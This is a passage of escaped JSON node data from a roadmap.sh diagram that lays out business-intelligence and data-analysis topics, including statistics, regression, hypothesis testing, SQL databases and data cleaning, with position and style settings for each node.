\"iAWm99EoRnpzLlw6XDuaf\",\n      \"type\": \"linksgroup\",\n      \"position\": { \"x\": -706.5108790266416, \"y\": -122.20734232675812 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"zQY2A8kksRwc7J98ijx52\",\n            \"label\": \"Data Analyst\",\n            \"url\": \"https://roadmap.sh/data-analyst\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 260, \"height\": 97 },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 97,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"8QsQoUED1iJjXDRjGfiHm\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -219.07337902664165, \"y\": -122.5117408218158 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 86 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 20,\n      \"height\": 86,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 16.833849087094336, \"y\": -122.20734232675812 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 154,\n      \"positionAbsolute\": { \"x\": 548.0942414053277, \"y\": -133.9615199492601 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 355, \"height\": 143 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 299, \"height\": 154 }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 35.333849087094336, \"y\": -36.511740821815806 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 330, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 560.5942414053277, \"y\": -52.103402024556615 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 262, \"height\": 49 }\n    },\n    {\n      \"id\": \"jJukG4XxfFcID_VlQKqe-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 68.90056709513908, \"y\": 456.7191181786756 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tactical BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"measured\": { \"width\": 243, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3BxbkrBp8veZj38zdwN8s\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 68.90056709513908, \"y\": 508.7191181786756 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Strategic BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_MpdVlvvkrsgzigYMZ_P8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"measured\": { \"width\": 243, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GN6SnI7RXIeW8JeD-qORW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 68.90056709513908, \"y\": 404.71911817867567 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Operational BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": { \"width\": 299, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 243, \"height\": 49 }\n    },\n    {\n      \"id\": \"cxTriSZvrmXP4axKynIZW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -343.3009101729384, \"y\": 174.9830450095847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Finance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"s-wUPMaagyRupT2RdfHks\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -197.2189349312098, \"y\": 174.9830450095847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Marketing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 121, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dJZqe47kzRqYIG-4AZTlz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -343.3009101729384, \"y\": 227.9830450095847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KeGCHoJRHp-mBX-P5to4Y\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -198.2189349312098, \"y\": 227.9830450095847 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"HR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 123, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"F-fC2JWOuEeDbOHH1O6EB\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -348.29994152664165, \"y\": 756.3242632637848 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Central Tendency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yrr8cVho7TtgZkVWq_TcJ\"\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 204.6015625 },\n      \"measured\": { \"width\": 273, \"height\": 54 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 54,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"VxpH_z-_Soni24XOVBh8v\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 237.36855749144377, \"y\": 709.7600824127035 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"tDIMw-ewxlLcNC8_H4w14\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 77 },\n      \"width\": 20,\n      \"height\": 77,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1D98k1HNCaaiaI20euVwA\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 37.833849087094336, \"y\": 758.8242632637848 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dispersion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yrr8cVho7TtgZkVWq_TcJ\"\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 204.6015625 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": true\n    },\n    {\n      \"id\": \"jll2iRbjdx7iiNwY13KYD\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 40.78040279615038, \"y\": 610.169421520492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Range\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X0DBG0mEWk25PEbLHhs7v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZmSwDn0sP7HvLKYVzRwPJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 179.78040279615038, \"y\": 610.169421520492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Variance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jvU1iu2M_y1IH62oUpAeU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"vqtzg9bydAqHMwZhPHo1a\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 40.78040279615038, \"y\": 663.169421520492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"STD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dJZqe47kzRqYIG-4AZTlz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"LEHK7ohKIzKhlGebd0k_j\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 179.78040279615038, \"y\": 663.169421520492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IQR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JSqwWsfojjZTe8ynmA7fc\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 37.833849087094336, \"y\": 947.3738419639601 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yrr8cVho7TtgZkVWq_TcJ\"\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 204.6015625 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": true\n    },\n    {\n      \"id\": \"X0DBG0mEWk25PEbLHhs7v\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 39.31943003373988, \"y\": 1027.3905498571253 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Skewness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XbWMHT1Fn8nWqAvIpSgGK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jvU1iu2M_y1IH62oUpAeU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 178.31943003373976, \"y\": 1027.3905498571253 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kurtosis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KPVNWExPQfr7NPHw6Ezsd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7VDxA9bQ1P1fym4eQVKkN\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1290.901904855021 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Population & Sample\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TuBJ2yUz1c5KMRGVHdvU5\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 233.90625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"01k_mfsp0eW6TX9yp8PDE\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1343.901904855021 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Statistical tests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-gbb16Wl--Rjx5aoM0krL\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"rkEdx_mZBoDjMhiluJl7O\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1396.901904855021 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"p-value\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1toMuRZResgse1AtwEck6\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"SosOXxErMn0t2KCoHoxvS\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1502.901904855021 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Types of Errors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgC6B19SqudLDQWbINAz1\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"6xfQic8dMwUsMQa7VtS8_\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1207.901904855021 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hypothesis Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 189.5390625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"m9ejACzRBJza0v-fpdfkn\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.7349957653106, \"y\": 1076.3905498571253 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Regression Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6xfQic8dMwUsMQa7VtS8_\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 189.5390625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"4-fpZx8p5iSNI3n4Qtacl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -348.30174122575795, \"y\": 1048.1752518104581 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Linear Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_QyIZ2_vH3e3yic5NTuak\"\n      },\n      \"width\": 274,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 274, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"_QyIZ2_vH3e3yic5NTuak\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -348.30174122575795, \"y\": 1101.1752518104581 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Beyond Linear Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 274,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 274, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"nhl9FM79femgqENNR0HbE\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -589.3760859131588, \"y\": 1776.3913347045232 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_iV_5O5Rq07P9qRGrraTM\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 77.8828125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"uoQS4g-c6QndacUeiaWrq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -589.3760859131588, \"y\": 1829.391334704523 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Oracle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZAhjB_ghHukD4RPAtNDxh\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 79.0703125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"eqnAEp2VT7FD2VDy5WVDP\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.8743999708162, \"y\": 1776.3913347045232 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MySQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9BWyA0b4WrmQetSMph_mY\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 86.53125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"lrksz861rE5m2XzOQPwgh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -708.8743999708162, \"y\": 1829.391334704523 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQLite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"25f76eB9-vy3Usta-Pbsi\"\n      },\n      \"width\": 115,\n      \"style\": { \"width\": 90.203125 },\n      \"measured\": { \"width\": 115, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"y9Fnjnbiqt7WkrhjPITpW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 79.4370920808235, \"y\": 1932.3837525544536 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgC6B19SqudLDQWbINAz1\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"TuBJ2yUz1c5KMRGVHdvU5\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 79.4370920808235, \"y\": 1773.3837525544536 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 233.90625 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"-gbb16Wl--Rjx5aoM0krL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 79.4370920808235, \"y\": 1826.3837525544536 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4-fpZx8p5iSNI3n4Qtacl\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"1toMuRZResgse1AtwEck6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 79.4370920808235, \"y\": 1879.3837525544536 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Window Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_QyIZ2_vH3e3yic5NTuak\"\n      },\n      \"width\": 239,\n      \"style\": { \"width\": 203.6484375 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Vo7LJ_W-DBvxvVrnz33BM\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2061.516646445702 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Cleaning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oMrk9ZXVwqcgaoMrTCnVU\"\n      },\n      \"width\": 233,\n      \"style\": { \"width\": 154.46875 },\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"_iV_5O5Rq07P9qRGrraTM\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 205.10573273074527, \"y\": 2069.849648200129 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 100,\n      \"style\": { \"width\": 77.8828125 },\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"ZAhjB_ghHukD4RPAtNDxh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 206.10573273074527, \"y\": 2122.849648200129 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"dplyr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 100,\n      \"style\": { \"width\": 79.0703125 },\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"9BWyA0b4WrmQetSMph_mY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 101.10573273074529, \"y\": 2069.849648200129 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Excel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 100,\n      \"style\": { \"width\": 86.53125 },\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"25f76eB9-vy3Usta-Pbsi\",\n      \"type\": 